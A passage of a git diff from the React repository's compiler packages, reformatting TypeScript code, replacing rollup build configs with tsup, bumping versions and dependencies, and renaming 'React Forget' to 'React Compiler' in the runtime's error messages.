   m: SavedROObjects,
-  k: object
-): { existed: boolean; entry: SavedROObject } {
+  k: object,
+): {existed: boolean; entry: SavedROObject} {
   const entry = m.get(k);
   if (entry) {
-    return { existed: true, entry };
+    return {existed: true, entry};
   } else {
     const newEntry: SavedROObject = new Map();
     m.set(k, newEntry);
-    return { existed: false, entry: newEntry };
+    return {existed: false, entry: newEntry};
   }
 }
 
 function buildMakeReadOnly(
   logger: ROViolationLogger,
-  skippedClasses: string[]
+  skippedClasses: string[],
 ): <T>(val: T, source: string) => T {
   // All saved proxys
   const savedROObjects: SavedROObjects = new WeakMap();
@@ -63,15 +63,15 @@ function buildMakeReadOnly(
     source: string,
     key: string,
     prop: PropertyDescriptor,
-    savedEntries: Map<string, SavedEntry>
+    savedEntries: Map<string, SavedEntry>,
   ) {
-    const proxy: PropertyDescriptor & { get(): unknown } = {
+    const proxy: PropertyDescriptor & {get(): unknown} = {
       get() {
         // read from backing cache entry
         return makeReadOnly(savedEntries.get(key)!.savedVal, source);
       },
       set(newVal: unknown) {
-        logger("FORGET_MUTATE_IMMUT", source, key, newVal);
+        logger('FORGET_MUTATE_IMMUT', source, key, newVal);
         // update backing cache entry
         savedEntries.get(key)!.savedVal = newVal;
       },
@@ -83,13 +83,13 @@ function buildMakeReadOnly(
       proxy.enumerable = prop.enumerable;
     }
 
-    savedEntries.set(key, { savedVal: (obj as any)[key], getter: proxy.get });
+    savedEntries.set(key, {savedVal: (obj as any)[key], getter: proxy.get});
     Object.defineProperty(obj, key, proxy);
   }
 
   // Changes an object to be read-only, returns its input
   function makeReadOnly<T>(o: T, source: string): T {
-    if (typeof o !== "object" || o == null) {
+    if (typeof o !== 'object' || o == null) {
       return o;
     } else if (
       o.constructor?.name != null &&
@@ -98,7 +98,7 @@ function buildMakeReadOnly(
       return o;
     }
 
-    const { existed, entry: cache } = getOrInsertDefault(savedROObjects, o);
+    const {existed, entry: cache} = getOrInsertDefault(savedROObjects, o);
 
     for (const [k, entry] of cache.entries()) {
       const currentProp = Object.getOwnPropertyDescriptor(o, k);
@@ -116,21 +116,21 @@ function buildMakeReadOnly(
         //     and the current proxied value is stale)
         cache.delete(k);
         if (!currentProp) {
-          logger("FORGET_DELETE_PROP_IMMUT", source, k);
+          logger('FORGET_DELETE_PROP_IMMUT', source, k);
         } else if (currentProp) {
-          logger("FORGET_CHANGE_PROP_IMMUT", source, k);
+          logger('FORGET_CHANGE_PROP_IMMUT', source, k);
           addProperty(o, source, k, currentProp, cache);
         }
       }
     }
     for (const [k, prop] of Object.entries(
-      Object.getOwnPropertyDescriptors(o)
+      Object.getOwnPropertyDescriptors(o),
     )) {
       if (!cache.has(k) && isWriteable(prop)) {
         if (
-          prop.hasOwnProperty("set") ||
-          prop.hasOwnProperty("get") ||
-          k === "current"
+          prop.hasOwnProperty('set') ||
+          prop.hasOwnProperty('get') ||
+          k === 'current'
         ) {
           // - we currently don't handle accessor properties
           // - we currently have no other way of checking whether an object
@@ -139,7 +139,7 @@ function buildMakeReadOnly(
         }
 
         if (existed) {
-          logger("FORGET_ADD_PROP_IMMUT", source, k);
+          logger('FORGET_ADD_PROP_IMMUT', source, k);
         }
         addProperty(o, source, k, prop, cache);
       }
diff --git a/compiler/packages/make-read-only-util/tsup.config.ts b/compiler/packages/make-read-only-util/tsup.config.ts
new file mode 100644
index 000000000000..ffef80abba26
--- /dev/null
+++ b/compiler/packages/make-read-only-util/tsup.config.ts
@@ -0,0 +1,36 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import {defineConfig} from 'tsup';
+
+export default defineConfig({
+  entry: ['./src/makeReadOnly.ts'],
+  outDir: './dist',
+  splitting: false,
+  sourcemap: true,
+  dts: false,
+  bundle: true,
+  format: 'cjs',
+  platform: 'browser',
+  target: 'es2015',
+  banner: {
+    js: `/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @lightSyntaxTransform
+ * @noflow
+ * @nolint
+ * @preventMunge
+ * @preserve-invariant-messages
+ */
+
+"use no memo";`,
+  },
+});
diff --git a/compiler/packages/react-compiler-healthcheck/package.json b/compiler/packages/react-compiler-healthcheck/package.json
index 790d17a641a0..5c3d2f412d97 100644
--- a/compiler/packages/react-compiler-healthcheck/package.json
+++ b/compiler/packages/react-compiler-healthcheck/package.json
@@ -1,13 +1,14 @@
 {
   "name": "react-compiler-healthcheck",
-  "version": "0.0.0-experimental-c20572a-20240614",
+  "version": "0.0.0-experimental-ab3118d-20240725",
   "description": "Health check script to test violations of the rules of react.",
   "bin": {
     "react-compiler-healthcheck": "dist/index.js"
   },
   "scripts": {
-    "build": "rimraf dist && rollup --config --bundleConfigAsCjs",
-    "test": "echo 'no tests'"
+    "build": "rimraf dist && tsup",
+    "test": "echo 'no tests'",
+    "watch": "yarn build --watch"
   },
   "dependencies": {
     "@babel/core": "^7.24.4",
@@ -16,12 +17,17 @@
     "fast-glob": "^3.3.2",
     "ora": "5.4.1",
     "yargs": "^17.7.2",
-    "zod": "^3.22.4",
-    "zod-validation-error": "^3.0.3"
+    "zod": "^3.25.0 || ^4.0.0",
+    "zod-validation-error": "^3.5.0 || ^4.0.0"
   },
   "devDependencies": {},
   "engines": {
     "node": "^14.17.0 || ^16.0.0 || >= 18.0.0"
   },
-  "license": "MIT"
+  "license": "MIT",
+  "repository": {
+    "type": "git",
+    "url": "git+https://github.com/facebook/react.git",
+    "directory": "compiler/packages/react-compiler-healthcheck"
+  }
 }
diff --git a/compiler/packages/react-compiler-healthcheck/rollup.config.js b/compiler/packages/react-compiler-healthcheck/rollup.config.js
deleted file mode 100644
index ef9cca60a360..000000000000
--- a/compiler/packages/react-compiler-healthcheck/rollup.config.js
+++ /dev/null
@@ -1,81 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-import typescript from "@rollup/plugin-typescript";
-import { nodeResolve } from "@rollup/plugin-node-resolve";
-import commonjs from "@rollup/plugin-commonjs";
-import json from "@rollup/plugin-json";
-import path from "path";
-import process from "process";
-import terser from "@rollup/plugin-terser";
-import prettier from "rollup-plugin-prettier";
-import banner2 from "rollup-plugin-banner2";
-
-const NO_INLINE = new Set([
-  "@babel/core",
-  "@babel/parser",
-  "chalk",
-  "fast-glob",
-  "ora",
-  "yargs",
-  "zod",
-  "zod-validation-error",
-]);
-
-const DEV_ROLLUP_CONFIG = {
-  input: "src/index.ts",
-  output: {
-    file: "dist/index.js",
-    format: "cjs",
-    sourcemap: false,
-    exports: "named",
-  },
-  plugins: [
-    typescript({
-      tsconfig: "./tsconfig.json",
-      compilerOptions: {
-        noEmit: true,
-      },
-    }),
-    json(),
-    nodeResolve({
-      preferBuiltins: true,
-      resolveOnly: (module) => NO_INLINE.has(module) === false,
-      rootDir: path.join(process.cwd(), ".."),
-    }),
-    commonjs(),
-    terser({
-      format: {
-        comments: false,
-      },
-      compress: false,
-      mangle: false,
-    }),
-    prettier(),
-    banner2(
-      () => `#!/usr/bin/env node
-
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @lightSyntaxTransform
- * @noflow
- * @nolint
- * @preventMunge
- * @preserve-invariant-messages
- */
-
-"use no memo";
-`
-    ),
-  ],
-};
-
-export default DEV_ROLLUP_CONFIG;
diff --git a/compiler/packages/react-compiler-healthcheck/src/checks/libraryCompat.ts b/compiler/packages/react-compiler-healthcheck/src/checks/libraryCompat.ts
index b3bb87f50be2..4324031cc324 100644
--- a/compiler/packages/react-compiler-healthcheck/src/checks/libraryCompat.ts
+++ b/compiler/packages/react-compiler-healthcheck/src/checks/libraryCompat.ts
@@ -5,8 +5,8 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import chalk from "chalk";
-import { config } from "../config";
+import chalk from 'chalk';
+import {config} from '../config';
 
 const packageJsonRE = /package\.json$/;
 const knownIncompatibleLibrariesUsage = new Set();
diff --git a/compiler/packages/react-compiler-healthcheck/src/checks/reactCompiler.ts b/compiler/packages/react-compiler-healthcheck/src/checks/reactCompiler.ts
index 09c9b9bda64d..4e1a193e53ac 100644
--- a/compiler/packages/react-compiler-healthcheck/src/checks/reactCompiler.ts
+++ b/compiler/packages/react-compiler-healthcheck/src/checks/reactCompiler.ts
@@ -5,18 +5,18 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import type * as BabelCore from "@babel/core";
-import { transformFromAstSync } from "@babel/core";
-import * as BabelParser from "@babel/parser";
+import type * as BabelCore from '@babel/core';
+import {transformFromAstSync} from '@babel/core';
+import * as BabelParser from '@babel/parser';
 import BabelPluginReactCompiler, {
   ErrorSeverity,
   type CompilerErrorDetailOptions,
   type PluginOptions,
-} from "babel-plugin-react-compiler/src";
-import { LoggerEvent as RawLoggerEvent } from "babel-plugin-react-compiler/src/Entrypoint";
-import chalk from "chalk";
+} from 'babel-plugin-react-compiler/src';
+import {LoggerEvent as RawLoggerEvent} from 'babel-plugin-react-compiler/src/Entrypoint';
+import chalk from 'chalk';
 
-type LoggerEvent = RawLoggerEvent & { filename: string | null };
+type LoggerEvent = RawLoggerEvent & {filename: string | null};
 
 const SucessfulCompilation: Array<LoggerEvent> = [];
 const ActionableFailures: Array<LoggerEvent> = [];
@@ -24,13 +24,13 @@ const OtherFailures: Array<LoggerEvent> = [];
 
 const logger = {
   logEvent(filename: string | null, rawEvent: RawLoggerEvent) {
-    const event = { ...rawEvent, filename };
+    const event = {...rawEvent, filename};
     switch (event.kind) {
-      case "CompileSuccess": {
+      case 'CompileSuccess': {
         SucessfulCompilation.push(event);
         return;
       }
-      case "CompileError": {
+      case 'CompileError': {
         if (isActionableDiagnostic(event.detail)) {
           ActionableFailures.push(event);
           return;
@@ -38,18 +38,18 @@ const logger = {
         OtherFailures.push(event);
         return;
       }
-      case "CompileDiagnostic":
-      case "PipelineError":
+      case 'CompileDiagnostic':
+      case 'PipelineError':
         OtherFailures.push(event);
         return;
     }
   },
 };
 
-const COMPILER_OPTIONS: Partial<PluginOptions> = {
+const COMPILER_OPTIONS: PluginOptions = {
   noEmit: true,
-  compilationMode: "infer",
-  panicThreshold: "critical_errors",
+  compilationMode: 'infer',
+  panicThreshold: 'critical_errors',
   logger,
 };
 
@@ -71,26 +71,26 @@ function isActionableDiagnostic(detail: CompilerErrorDetailOptions) {
 function runBabelPluginReactCompiler(
   text: string,
   file: string,
-  language: "flow" | "typescript",
-  options: Partial<PluginOptions> | null
+  language: 'flow' | 'typescript',
+  options: PluginOptions | null,
 ): BabelCore.BabelFileResult {
   const ast = BabelParser.parse(text, {
     sourceFilename: file,
-    plugins: [language, "jsx"],
-    sourceType: "module",
+    plugins: [language, 'jsx'],
+    sourceType: 'module',
   });
   const result = transformFromAstSync(ast, text, {
     filename: file,
     highlightCode: false,
     retainLines: true,
     plugins: [[BabelPluginReactCompiler, options]],
-    sourceType: "module",
+    sourceType: 'module',
     configFile: false,
     babelrc: false,
   });
   if (result?.code == null) {
     throw new Error(
-      `Expected BabelPluginReactForget to codegen successfully, got: ${result}`
+      `Expected BabelPluginReactForget to codegen successfully, got: ${result}`,
     );
   }
   return result;
@@ -101,8 +101,8 @@ function compile(sourceCode: string, filename: string) {
     runBabelPluginReactCompiler(
       sourceCode,
       filename,
-      "typescript",
-      COMPILER_OPTIONS
+      'typescript',
+      COMPILER_OPTIONS,
     );
   } catch {}
 }
@@ -146,8 +146,8 @@ export default {
       countUniqueLocInEvents(ActionableFailures);
     console.log(
       chalk.green(
-        `Successfully compiled ${SucessfulCompilation.length} out of ${totalComponents} components.`
-      )
+        `Successfully compiled ${SucessfulCompilation.length} out of ${totalComponents} components.`,
+      ),
     );
   },
 };
diff --git a/compiler/packages/react-compiler-healthcheck/src/checks/strictMode.ts b/compiler/packages/react-compiler-healthcheck/src/checks/strictMode.ts
index 035edf53d900..ad5f4bf73b34 100644
--- a/compiler/packages/react-compiler-healthcheck/src/checks/strictMode.ts
+++ b/compiler/packages/react-compiler-healthcheck/src/checks/strictMode.ts
@@ -5,7 +5,7 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import chalk from "chalk";
+import chalk from 'chalk';
 
 const JsFileExtensionRE = /(js|ts|jsx|tsx)$/;
 const NextConfigFileRE = /^next\.config\.(js|mjs)$/;
@@ -28,9 +28,9 @@ export default {
 
   report(): void {
     if (StrictModeUsage) {
-      console.log(chalk.green("StrictMode usage found."));
+      console.log(chalk.green('StrictMode usage found.'));
     } else {
-      console.log(chalk.red("StrictMode usage not found."));
+      console.log(chalk.red('StrictMode usage not found.'));
     }
   },
 };
diff --git a/compiler/packages/react-compiler-healthcheck/src/config.ts b/compiler/packages/react-compiler-healthcheck/src/config.ts
index b3349d519882..f279bc5d2206 100644
--- a/compiler/packages/react-compiler-healthcheck/src/config.ts
+++ b/compiler/packages/react-compiler-healthcheck/src/config.ts
@@ -1,3 +1,14 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
 export const config = {
-  knownIncompatibleLibraries: ["mobx", "@risingstack/react-easy-state"],
+  knownIncompatibleLibraries: [
+    'mobx-react',
+    'mobx-react-lite',
+    '@risingstack/react-easy-state',
+  ],
 };
diff --git a/compiler/packages/react-compiler-healthcheck/src/index.ts b/compiler/packages/react-compiler-healthcheck/src/index.ts
index ba828ca0e97e..548a373477b5 100644
--- a/compiler/packages/react-compiler-healthcheck/src/index.ts
+++ b/compiler/packages/react-compiler-healthcheck/src/index.ts
@@ -5,42 +5,42 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { glob } from "fast-glob";
-import * as fs from "fs/promises";
-import ora from "ora";
-import yargs from "yargs/yargs";
-import libraryCompatCheck from "./checks/libraryCompat";
-import reactCompilerCheck from "./checks/reactCompiler";
-import strictModeCheck from "./checks/strictMode";
+import {glob} from 'fast-glob';
+import * as fs from 'fs/promises';
+import ora from 'ora';
+import yargs from 'yargs/yargs';
+import libraryCompatCheck from './checks/libraryCompat';
+import reactCompilerCheck from './checks/reactCompiler';
+import strictModeCheck from './checks/strictMode';
 
 async function main() {
   const argv = yargs(process.argv.slice(2))
-    .scriptName("healthcheck")
-    .usage("$ npx healthcheck <src>")
-    .option("src", {
-      description: "glob expression matching src files to compile",
-      type: "string",
-      default: "**/+(*.{js,mjs,jsx,ts,tsx}|package.json)",
+    .scriptName('healthcheck')
+    .usage('$ npx healthcheck <src>')
+    .option('src', {
+      description: 'glob expression matching src files to compile',
+      type: 'string',
+      default: '**/+(*.{js,mjs,jsx,ts,tsx}|package.json)',
     })
     .parseSync();
 
-  const spinner = ora("Checking").start();
+  const spinner = ora('Checking').start();
   let src = argv.src;
 
   const globOptions = {
     onlyFiles: true,
     ignore: [
-      "**/node_modules/**",
-      "**/dist/**",
-      "**/tests/**",
-      "**/__tests__/**",
-      "**/__mocks__/**",
-      "**/__e2e__/**",
+      '**/node_modules/**',
+      '**/dist/**',
+      '**/tests/**',
+      '**/__tests__/**',
+      '**/__mocks__/**',
+      '**/__e2e__/**',
     ],
   };
 
   for (const path of await glob(src, globOptions)) {
-    const source = await fs.readFile(path, "utf-8");
+    const source = await fs.readFile(path, 'utf-8');
     spinner.text = `Checking ${path}`;
     reactCompilerCheck.run(source, path);
     strictModeCheck.run(source, path);
diff --git a/compiler/packages/react-compiler-healthcheck/tsup.config.ts b/compiler/packages/react-compiler-healthcheck/tsup.config.ts
new file mode 100644
index 000000000000..7d2c738dc71a
--- /dev/null
+++ b/compiler/packages/react-compiler-healthcheck/tsup.config.ts
@@ -0,0 +1,49 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import {defineConfig} from 'tsup';
+
+export default defineConfig({
+  entry: ['./src/index.ts'],
+  outDir: './dist',
+  external: [
+    '@babel/core',
+    '@babel/parser',
+    'chalk',
+    'fast-glob',
+    'ora',
+    'yargs',
+    'zod',
+    'zod/v4',
+    'zod-validation-error',
+    'zod-validation-error/v4',
+  ],
+  splitting: false,
+  sourcemap: false,
+  dts: false,
+  bundle: true,
+  format: 'cjs',
+  platform: 'node',
+  banner: {
+    js: `#!/usr/bin/env node
+
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @lightSyntaxTransform
+ * @noflow
+ * @nolint
+ * @preventMunge
+ * @preserve-invariant-messages
+ */
+
+"use no memo";`,
+  },
+});
diff --git a/compiler/packages/react-compiler-runtime/README.md b/compiler/packages/react-compiler-runtime/README.md
new file mode 100644
index 000000000000..8f650f962dc5
--- /dev/null
+++ b/compiler/packages/react-compiler-runtime/README.md
@@ -0,0 +1,5 @@
+# react-compiler-runtime
+
+Backwards compatible shim for runtime APIs used by React Compiler. Primarily meant for React versions prior to 19, but it will also work on > 19.
+
+See also https://github.com/reactwg/react-compiler/discussions/6.
diff --git a/compiler/packages/react-compiler-runtime/package.json b/compiler/packages/react-compiler-runtime/package.json
index 08f7473a5f5c..60a192b0a7ca 100644
--- a/compiler/packages/react-compiler-runtime/package.json
+++ b/compiler/packages/react-compiler-runtime/package.json
@@ -4,15 +4,22 @@
   "description": "Runtime for React Compiler",
   "license": "MIT",
   "main": "dist/index.js",
+  "typings": "dist/index.d.ts",
   "files": [
     "dist",
     "src"
   ],
   "peerDependencies": {
-    "react": "^18.2.0 || ^19.0.0"
+    "react": "^17.0.0 || ^18.0.0 || ^19.0.0 || ^0.0.0-experimental"
   },
   "scripts": {
-    "build": "rimraf dist && rollup --config --bundleConfigAsCjs",
-    "test": "echo 'no tests'"
+    "build": "rimraf dist && tsup",
+    "test": "echo 'no tests'",
+    "watch": "yarn build --watch"
+  },
+  "repository": {
+    "type": "git",
+    "url": "git+https://github.com/facebook/react.git",
+    "directory": "compiler/packages/react-compiler-runtime"
   }
 }
diff --git a/compiler/packages/react-compiler-runtime/rollup.config.js b/compiler/packages/react-compiler-runtime/rollup.config.js
deleted file mode 100644
index bb153bc283d7..000000000000
--- a/compiler/packages/react-compiler-runtime/rollup.config.js
+++ /dev/null
@@ -1,64 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-import typescript from "@rollup/plugin-typescript";
-import { nodeResolve } from "@rollup/plugin-node-resolve";
-import commonjs from "@rollup/plugin-commonjs";
-import json from "@rollup/plugin-json";
-import path from "path";
-import process from "process";
-import terser from "@rollup/plugin-terser";
-import banner2 from "rollup-plugin-banner2";
-
-const NO_INLINE = new Set(["react"]);
-
-const PROD_ROLLUP_CONFIG = {
-  input: "src/index.ts",
-  output: {
-    file: "dist/index.js",
-    format: "cjs",
-    sourcemap: true,
-  },
-  plugins: [
-    typescript({
-      tsconfig: "./tsconfig.json",
-      compilerOptions: {
-        noEmit: true,
-      },
-    }),
-    json(),
-    nodeResolve({
-      preferBuiltins: true,
-      resolveOnly: (module) => NO_INLINE.has(module) === false,
-      rootDir: path.join(process.cwd(), ".."),
-    }),
-    commonjs(),
-    terser({
-      format: {
-        comments: false,
-      },
-    }),
-    banner2(
-      () => `/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @lightSyntaxTransform
- * @noflow
- * @nolint
- * @preventMunge
- * @preserve-invariant-messages
- */
-
-"use no memo";` // DO NOT REMOVE
-    ),
-  ],
-};
-
-export default PROD_ROLLUP_CONFIG;
diff --git a/compiler/packages/react-compiler-runtime/src/index.ts b/compiler/packages/react-compiler-runtime/src/index.ts
index 6975c1941155..bdaface961ed 100644
--- a/compiler/packages/react-compiler-runtime/src/index.ts
+++ b/compiler/packages/react-compiler-runtime/src/index.ts
@@ -5,11 +5,9 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-"use no forget";
+import * as React from 'react';
 
-import * as React from "react";
-
-const { useRef, useEffect, isValidElement } = React;
+const {useRef, useEffect, isValidElement} = React;
 const ReactSecretInternals =
   //@ts-ignore
   React.__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE ??
@@ -18,60 +16,57 @@ const ReactSecretInternals =
 
 type MemoCache = Array<number | typeof $empty>;
 
-const $empty = Symbol.for("react.memo_cache_sentinel");
-/**
- * DANGER: this hook is NEVER meant to be called directly!
- **/
-export function c(size: number) {
-  return React.useState(() => {
-    const $ = new Array(size);
-    for (let ii = 0; ii < size; ii++) {
-      $[ii] = $empty;
-    }
-    // This symbol is added to tell the react devtools that this array is from
-    // useMemoCache.
-    // @ts-ignore
-    $[$empty] = true;
-    return $;
-  })[0];
-}
+const $empty = Symbol.for('react.memo_cache_sentinel');
 
-export function $read(memoCache: MemoCache, index: number) {
-  const value = memoCache[index];
-  if (value === $empty) {
-    throw new Error("useMemoCache: read before write");
-  }
-  return value;
-}
+// Re-export React.c if present, otherwise fallback to the userspace polyfill for versions of React
+// < 19.
+export const c =
+  // @ts-expect-error
+  typeof React.__COMPILER_RUNTIME?.c === 'function'
+    ? // @ts-expect-error
+      React.__COMPILER_RUNTIME.c
+    : function c(size: number) {
+        return React.useMemo<Array<unknown>>(() => {
+          const $ = new Array(size);
+          for (let ii = 0; ii < size; ii++) {
+            $[ii] = $empty;
+          }
+          // This symbol is added to tell the react devtools that this array is from
+          // useMemoCache.
+          // @ts-ignore
+          $[$empty] = true;
+          return $;
+        }, []);
+      };
 
-const LazyGuardDispatcher: { [key: string]: (...args: Array<any>) => any } = {};
+const LazyGuardDispatcher: {[key: string]: (...args: Array<any>) => any} = {};
 [
-  "readContext",
-  "useCallback",
-  "useContext",
-  "useEffect",
-  "useImperativeHandle",
-  "useInsertionEffect",
-  "useLayoutEffect",
-  "useMemo",
-  "useReducer",
-  "useRef",
-  "useState",
-  "useDebugValue",
-  "useDeferredValue",
-  "useTransition",
-  "useMutableSource",
-  "useSyncExternalStore",
-  "useId",
-  "unstable_isNewReconciler",
-  "getCacheSignal",
-  "getCacheForType",
-  "useCacheRefresh",
-].forEach((name) => {
+  'readContext',
+  'useCallback',
+  'useContext',
+  'useEffect',
+  'useImperativeHandle',
+  'useInsertionEffect',
+  'useLayoutEffect',
+  'useMemo',
+  'useReducer',
+  'useRef',
+  'useState',
+  'useDebugValue',
+  'useDeferredValue',
+  'useTransition',
+  'useMutableSource',
+  'useSyncExternalStore',
+  'useId',
+  'unstable_isNewReconciler',
+  'getCacheSignal',
+  'getCacheForType',
+  'useCacheRefresh',
+].forEach(name => {
   LazyGuardDispatcher[name] = () => {
     throw new Error(
-      `[React] Unexpected React hook call (${name}) from a React Forget compiled function. ` +
-        "Check that all hooks are called directly and named according to convention ('use[A-Z]') "
+      `[React] Unexpected React hook call (${name}) from a React compiled function. ` +
+        "Check that all hooks are called directly and named according to convention ('use[A-Z]') ",
     );
   };
 });
@@ -79,10 +74,10 @@ const LazyGuardDispatcher: { [key: string]: (...args: Array<any>) => any } = {};
 let originalDispatcher: unknown = null;
 
 // Allow guards are not emitted for useMemoCache
-LazyGuardDispatcher["useMemoCache"] = (count: number) => {
+LazyGuardDispatcher['useMemoCache'] = (count: number) => {
   if (originalDispatcher == null) {
     throw new Error(
-      "React Forget internal invariant violation: unexpected null dispatcher"
+      'React Compiler internal invariant violation: unexpected null dispatcher',
     );
   } else {
     return (originalDispatcher as any).useMemoCache(count);
@@ -106,12 +101,12 @@ const guardFrames: Array<unknown> = [];
 /**
  * When `enableEmitHookGuards` is set, this does runtime validation
  * of the no-conditional-hook-calls rule.
- * As Forget needs to statically understand which calls to move out of
- * conditional branches (i.e. Forget cannot memoize the results of hook
+ * As React Compiler needs to statically understand which calls to move out of
+ * conditional branches (i.e. React Compiler cannot memoize the results of hook
  * calls), its understanding of "the rules of React" are more restrictive.
  * This validation throws on unsound inputs at runtime.
  *
- * Components should only be invoked through React as Forget could memoize
+ * Components should only be invoked through React as React Compiler could memoize
  * the call to AnotherComponent, introducing conditional hook calls in its
  * compiled output.
  * ```js
@@ -151,9 +146,9 @@ export function $dispatcherGuard(kind: GuardKind) {
 
     if (curr === LazyGuardDispatcher) {
       throw new Error(
-        `[React] Unexpected call to custom hook or component from a React Forget compiled function. ` +
+        `[React] Unexpected call to custom hook or component from a React compiled function. ` +
           "Check that (1) all hooks are called directly and named according to convention ('use[A-Z]') " +
-          "and (2) components are returned as JSX instead of being directly invoked."
+          'and (2) components are returned as JSX instead of being directly invoked.',
       );
     }
     setCurrent(LazyGuardDispatcher);
@@ -163,7 +158,7 @@ export function $dispatcherGuard(kind: GuardKind) {
 
     if (lastFrame == null) {
       throw new Error(
-        "React Forget internal error: unexpected null in guard stack"
+        'React Compiler internal error: unexpected null in guard stack',
       );
     }
     if (guardFrames.length === 0) {
@@ -179,12 +174,12 @@ export function $dispatcherGuard(kind: GuardKind) {
     const lastFrame = guardFrames.pop();
     if (lastFrame == null) {
       throw new Error(
-        "React Forget internal error: unexpected null in guard stack"
+        'React Compiler internal error: unexpected null in guard stack',
       );
     }
     setCurrent(lastFrame);
   } else {
-    throw new Error("Forget internal error: unreachable block" + kind);
+    throw new Error('React Compiler internal error: unreachable block' + kind);
   }
 }
 
@@ -195,7 +190,7 @@ export function $reset($: MemoCache) {
 }
 
 export function $makeReadOnly() {
-  throw new Error("TODO: implement $makeReadOnly in react-compiler-runtime");
+  throw new Error('TODO: implement $makeReadOnly in react-compiler-runtime');
 }
 
 /**
@@ -203,17 +198,17 @@ export function $makeReadOnly() {
  */
 export const renderCounterRegistry: Map<
   string,
-  Set<{ count: number }>
+  Set<{count: number}>
 > = new Map();
 export function clearRenderCounterRegistry() {
   for (const counters of renderCounterRegistry.values()) {
-    counters.forEach((counter) => {
+    counters.forEach(counter => {
       counter.count = 0;
     });
   }
 }
 
-function registerRenderCounter(name: string, val: { count: number }) {
+function registerRenderCounter(name: string, val: {count: number}) {
   let counters = renderCounterRegistry.get(name);
   if (counters == null) {
     counters = new Set();
@@ -222,7 +217,7 @@ function registerRenderCounter(name: string, val: { count: number }) {
   counters.add(val);
 }
 
-function removeRenderCounter(name: string, val: { count: number }): void {
+function removeRenderCounter(name: string, val: {count: number}): void {
   const counters = renderCounterRegistry.get(name);
   if (counters == null) {
     return;
@@ -231,7 +226,7 @@ function removeRenderCounter(name: string, val: { count: number }): void {
 }
 
 export function useRenderCounter(name: string): void {
-  const val = useRef<{ count: number }>(null);
+  const val = useRef<{count: number}>(null);
 
   if (val.current != null) {
     val.current.count += 1;
@@ -239,7 +234,7 @@ export function useRenderCounter(name: string): void {
   useEffect(() => {
     // Not counting initial render shouldn't be a problem
     if (val.current == null) {
-      const counter = { count: 0 };
+      const counter = {count: 0};
       registerRenderCounter(name, counter);
       // @ts-ignore
       val.current = counter;
@@ -260,7 +255,7 @@ export function $structuralCheck(
   variableName: string,
   fnName: string,
   kind: string,
-  loc: string
+  loc: string,
 ): void {
   function error(l: string, r: string, path: string, depth: number) {
     const str = `${fnName}:${loc} [${kind}] ${variableName}${path} changed from ${l} to ${r} at depth ${depth}`;
@@ -278,13 +273,13 @@ export function $structuralCheck(
       return;
     } else if (typeof oldValue !== typeof newValue) {
       error(`type ${typeof oldValue}`, `type ${typeof newValue}`, path, depth);
-    } else if (typeof oldValue === "object") {
+    } else if (typeof oldValue === 'object') {
       const oldArray = Array.isArray(oldValue);
       const newArray = Array.isArray(newValue);
       if (oldValue === null && newValue !== null) {
-        error("null", `type ${typeof newValue}`, path, depth);
+        error('null', `type ${typeof newValue}`, path, depth);
       } else if (newValue === null) {
-        error(`type ${typeof oldValue}`, "null", path, depth);
+        error(`type ${typeof oldValue}`, 'null', path, depth);
       } else if (oldValue instanceof Map) {
         if (!(newValue instanceof Map)) {
           error(`Map instance`, `other value`, path, depth);
@@ -293,7 +288,7 @@ export function $structuralCheck(
             `Map instance with size ${oldValue.size}`,
             `Map instance with size ${newValue.size}`,
             path,
-            depth
+            depth,
           );
         } else {
           for (const [k, v] of oldValue) {
@@ -302,7 +297,7 @@ export function $structuralCheck(
                 `Map instance with key ${k}`,
                 `Map instance without key ${k}`,
                 path,
-                depth
+                depth,
               );
             } else {
               recur(v, newValue.get(k), `${path}.get(${k})`, depth + 1);
@@ -310,7 +305,7 @@ export function $structuralCheck(
           }
         }
       } else if (newValue instanceof Map) {
-        error("other value", `Map instance`, path, depth);
+        error('other value', `Map instance`, path, depth);
       } else if (oldValue instanceof Set) {
         if (!(newValue instanceof Set)) {
           error(`Set instance`, `other value`, path, depth);
@@ -319,7 +314,7 @@ export function $structuralCheck(
             `Set instance with size ${oldValue.size}`,
             `Set instance with size ${newValue.size}`,
             path,
-            depth
+            depth,
           );
         } else {
           for (const v of newValue) {
@@ -328,27 +323,27 @@ export function $structuralCheck(
                 `Set instance without element ${v}`,
                 `Set instance with element ${v}`,
                 path,
-                depth
+                depth,
               );
             }
           }
         }
       } else if (newValue instanceof Set) {
-        error("other value", `Set instance`, path, depth);
+        error('other value', `Set instance`, path, depth);
       } else if (oldArray || newArray) {
         if (oldArray !== newArray) {
           error(
-            `type ${oldArray ? "array" : "object"}`,
-            `type ${newArray ? "array" : "object"}`,
+            `type ${oldArray ? 'array' : 'object'}`,
+            `type ${newArray ? 'array' : 'object'}`,
             path,
-            depth
